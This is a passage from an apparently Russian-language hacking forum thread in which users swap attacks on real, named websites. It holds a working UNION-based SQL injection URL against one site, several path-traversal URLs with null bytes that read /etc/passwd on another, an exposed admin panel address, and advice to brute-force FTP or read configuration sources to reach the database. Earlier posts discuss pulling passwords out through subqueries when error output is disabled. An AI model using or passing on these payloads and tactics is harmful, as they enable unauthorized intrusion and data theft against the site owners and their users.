 |
|
30.01.2009, 20:34
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
Сообщение от Dimi4
А не проще
?
так я хочу вывести пароль!Название базы то есть,оно закодировано в чар
|
|
|
30.01.2009, 20:35
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Сообщение от Dimi4
А не проще
?
Мне кажется, его интересовали именно подзапросы...
Хотя мб и нет..
|
|
|
|
30.01.2009, 20:39
|
|
Участник форума
Регистрация: 29.10.2008
Сообщений: 165
С нами:
9227224
Репутация:
60
|
|
Сообщение от R1dex
Мне кажется, его интересовали именно подзапросы...
Хотя мб и нет..
угу  для 4 ветки это полезно изучить!да и понадобится,когда вывод ошибок отключен!
|
|
|
|
30.01.2009, 22:06
|
|
Новичок
Регистрация: 23.01.2009
Сообщений: 4
С нами:
9104376
Репутация:
-1
|
|
http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .
|
|
|
|
30.01.2009, 23:04
|
|
Постоянный
Регистрация: 05.12.2006
Сообщений: 477
С нами:
10226672
Репутация:
441
|
|
Сообщение от x311
http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .
ну акк бы дал..нахер кому надо регатца там
|
|
|
|
30.01.2009, 23:15
|
|
Познавший АНТИЧАТ
Регистрация: 24.06.2008
Сообщений: 1,996
С нами:
9410786
Репутация:
2731
|
|
x311, ну так скинь зареганный акк...
|
|
|
|
31.01.2009, 00:15
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
С нами:
10470131
Репутация:
142
|
|
1.Гы))Вбивай кавычки везде )))
2.Ini_get()
3.phpinfo()
4.Мб CVS на сервере дежурит .
5.Поискать инклуд или sql и попробывать прочесть файл.
6.Поглядеть исходники
7.Посмотреть в Гугле описание директивы mysql_quotes_gpc и не задавать этот вопрос снова |
|
|
|
31.01.2009, 02:59
|
|
Участник форума
Регистрация: 17.09.2008
Сообщений: 211
С нами:
9288132
Репутация:
571
|
|
Сообщение от x311
http://trophymanager.com/klubhus.php?showclub=1'
нужна ренистпация, поля не смог подобрать .
Вот...
Код:
http://trophymanager.com/klubhus.php?showclub=1+and+1=0+union+select+1,2,version(),4,5,6,7,8,9,0,11,12,13,14--
Последний раз редактировалось R1dex; 31.01.2009 в 03:01..
|
|
|
|
31.01.2009, 07:08
|
|
Новичок
Регистрация: 30.07.2008
Сообщений: 18
С нами:
9358323
Репутация:
0
|
|
http://hl-online.ru/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://hl-online.ru/photos/admin.php
http://hl-online.ru/forum/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://hl-online.ru/k/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://hl-online.ru/lib/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://hl-online.ru/photos/index.php?site=demos&bn=../../../../../../../../../../etc/passwd%00
http://hl-online.ru/index.php?action=faq&templatecache[faq]=hello+world
что можно с этим добром сделать ? как дальше пройти?
|
|
|
|
31.01.2009, 07:13
|
|
Banned
Регистрация: 27.01.2009
Сообщений: 9
С нами:
9098246
Репутация:
27
|
|
Брутить ФТП или как вариант почитать сорцы конфигов движка с целью доступа к БД или мб к панели администратора
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
